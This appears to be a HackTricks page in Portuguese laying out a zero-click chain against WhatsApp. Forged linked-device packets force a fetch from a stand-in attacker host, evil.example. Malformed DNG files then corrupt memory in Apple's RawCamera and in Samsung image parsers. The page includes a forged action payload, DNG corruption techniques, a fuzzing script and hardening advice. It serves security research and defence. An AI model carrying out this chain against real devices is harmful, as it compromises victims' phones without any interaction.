Zero-click Messaging → Image Parser Chains
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
TL;DR
- Trate messaging app multi-device/companion protocols como canais de controle remoto: mesmo quando campos do protocolo são assumidos como provenientes de dispositivos confiáveis, eles podem ser controlados pelo usuário e frequentemente podem ser replayed diretamente contra uma vítima para carregar conteúdo arbitrário com 0 user interaction.
- Depois que qualquer app puder ser coagido a buscar mídia não confiável, mire no shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) com arquivos malformados para pivotar para fora do sandbox.
- Os bugs baseados em DNG no RawCamera e no parser da Samsung discutidos aqui são exemplos concretos, mas a técnica completa é um roteiro reutilizável para encadear logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
A arquitetura “linked devices” do WhatsApp mantém o telefone principal e cada companion (desktop, tablet, telefone secundário) sincronizados via mensagens de protocolo estruturadas e criptografadas. Cada mensagem codifica:
- Device metadata (ID do dispositivo, capacidades, feature flags).
- Action descriptors (por exemplo, sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters tais como URIs, MIME hints, chaves de paginação, etc.
Nos clientes Apple, o handler que processa esses pacotes de controle linked-device implicitamente confiava que um emparelhamento válido já havia ocorrido, então campos de alto impacto (por exemplo, resource_url, open_media, sync_snapshot) eram validados apenas minimamente. Uma mensagem maliciosa de um companion poderia, portanto:
- Ser roteada para qualquer conta identificada pelo seu número de telefone.
- Sobreviver à pilha de transporte (Noise protocol + WhatsApp protobuf framing) porque o receptor nunca verificou se o remetente era um dispositivo legitimamente pareado.
- Alcançar o cliente iOS, onde o caminho de código vulnerável acionava automaticamente uma requisição HTTP(S) em segundo plano para a URL do atacante e parseava a resposta em um WebView/media renderer oculto.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Anexe um debugger ou um script Frida ao cliente desktop/iOS e hook o handler pós-decriptação (por exemplo,
LinkedDevicesSyncHandler::processAction). Faça dump dos payloads protobuf decodificados para aprender os tipos de ação e parâmetros disponíveis. - Identify fields that cross trust boundaries. Qualquer ação que carregue parâmetros
http_url,thumbnail_uri,download_urlourender_htmlsem allow-lists estritas é um candidato a primitive de conteúdo remoto. - Forge a malicious action. Reuse o schema protobuf observado e modifique apenas os campos controlados pelo atacante. Uma visão JSON simplificada da estrutura lógica relevante é mostrada abaixo (o transporte real é protobuf/Noise, mas os campos semânticos coincidem):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. Reenvie o pacote criado através do mesmo serviço do WhatsApp que normalmente encaminha o tráfego de dispositivos vinculados (por exemplo, usando um cliente desktop modificado ou um cliente Noise personalizado reutilizando as chaves da conta do atacante). Porque CVE-2025-55177 não vinculava ações a dispositivos autenticados, o cliente iOS/macOS da vítima aceitaria a mensagem e buscaria imediatamente a URL do atacante sem qualquer UI.
- Instrument the fetch. Observe a requisição HTTP(S) forçada e o renderer interno (WKWebView/ImageIO). Neste ponto você controla uma primitiva de entrega web zero-click dentro do WhatsApp.
Transformando DNGs auto-decodificados em arma contra RawCamera
Uma vez que o atacante controla o que o WhatsApp carrega, o próximo objetivo é fazer com que iOS/macOS analise um arquivo malicioso Digital Negative (DNG) com o framework RawCamera. Qualquer URL embutida em <img>/CSS que resolva para um .dng será passada para o pipeline de imagens do sistema, invocando RawCamera mesmo que o próprio WhatsApp nunca tenha tratado DNGs explicitamente.
Acionando RawCamera a partir do WhatsApp
- Sirva HTML que referencie o DNG por múltiplos mecanismos (por exemplo,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), ou fontes<picture>) para cobrir diferentes caminhos de renderização. - Garanta o MIME correto (
image/x-adobe-dng) e pré-visualizações pequenas para que o loader não desista cedo por causa de heurísticas de tamanho. - A sandbox de mídia do iOS transmitirá o arquivo para o RawCamera via
CGImageSourceCreateWithURL, eventualmente atingindo o decoder vulnerável.
Criando DNGs que corrompem memória (estilo CVE-2025-43300)
O bug reproduzido dependia de metadados inconsistentes que dessincronizavam a alocação de buffer das leituras reais de pixels. Alavancas típicas incluem:
- Tile/strip descriptors: Defina
TileByteCounts/StripByteCountscom valores realistas, mas aumenteTileOffsetspara apontar além do buffer alocado. - Sub-IFD chains: Embuta imagens secundárias com
ImageWidth/ImageLengtheBitsPerSampleconflitantes para que o RawCamera calcule um buffer pequeno enquanto estágios posteriores confiam em dimensões controladas pelo atacante. - Opcode metadata: Manipule entradas
OpcodeList3para que o processamento por linha opere em índices escolhidos pelo atacante.
Um harness básico de mutação para caçar tais corrupções pode ser construído em torno do macOS, já que o mesmo código do RawCamera é distribuído no macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Cada crash em RawCamera lhe dá um novo primitive. O PoC publicado alcançou um clean out-of-bounds read/write confiável o suficiente para crashar o WhatsApp em iPhone, iPad e Mac.
Construindo a 0-click chain
- Linked-device packet → coagirá o WhatsApp a buscar
https://evil.example/payload.htmlsem qualquer toque. - Payload HTML → referencia silenciosamente
evil.dng, garantindo que RawCamera seja invocado pela media stack do SO. - Malicious DNG → abusa de tags crafted para disparar o RawCamera OOB e crashar/ownar o image decoder.
- Post-corruption exploitation → adiciona info-leak gadgets (por exemplo, abusando de heap metadata previsível) e arma uma ROP/JOP chain para escapar do sandbox do WhatsApp e atingir contextos com mais privilégios.
Como cada passo é automático, o atacante precisa apenas do número de telefone da vítima. Nenhuma notification, banner ou prompt é exibido no dispositivo alvo.
Samsung vendor image parser parallels
O bulletin da Samsung para CVE-2025-21043 confirmou que a sua image parsing stack proprietária (usada por Gallery, Messages e também indiretamente pelo WhatsApp) sofreu um out-of-bounds write alcançável através de mídia não confiável. A metodologia de exploração espelha a cadeia da Apple:
- Identificar um auto-preview vector (chat thumbnails, notification previews, share sheets) que parseia o arquivo do atacante com as bibliotecas
libimagecodec/libOneUI_ImageDecoderda Samsung. - Diff de updates da OEM ou fuzz dos parsers com arquivos RAW/DNG malformed até ver corrupções de memória semelhantes ao crash do RawCamera (heap metadata clobber, register control, etc.).
- Entregar o arquivo crafted por qualquer canal que já auto-carregue conteúdo (por exemplo, o mesmo linked-device primitive, WhatsApp preview fetchers, ou os push-to-talk waveform previews do Android).
Uma vez que exista um OOB write no parser do vendor, combiná-lo com o auto-fetch primitive do WhatsApp gera outra zero-click chain em dispositivos Samsung.
Checklist de testes e hardening
- Protocol validation: Aplicar allow-lists estritas para cada ação linked-device. Comandos de companion que requisitem fetch/render devem provar emparelhamento do dispositivo (signing the payload) e a URL deve corresponder a uma allow-list ou blob assinado.
- Transport replay countermeasures: Vincular cada ação a uma chave por-dispositivo e rejeitar packets cuja sender key seja desconhecida, mesmo se a sintaxe protobuf estiver correta.
- Media pipeline restrictions: Apps de alto nível devem permitir apenas MIME types aprovados e rejeitar explicitamente RAW/DNG a menos que a funcionalidade seja necessária.
- Parser fuzzing regression tests: Manter um corpus de arquivos RAW/DNG malformed e rodá-los contra RawCamera/vendor decoders após cada atualização.
- Crash triage automation: Anexar sanitizers via
DYLD_INSERT_LIBRARIESou MTE em dispositivos de fuzz para capturar condições OOB sutis antes que atacantes o façam.
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


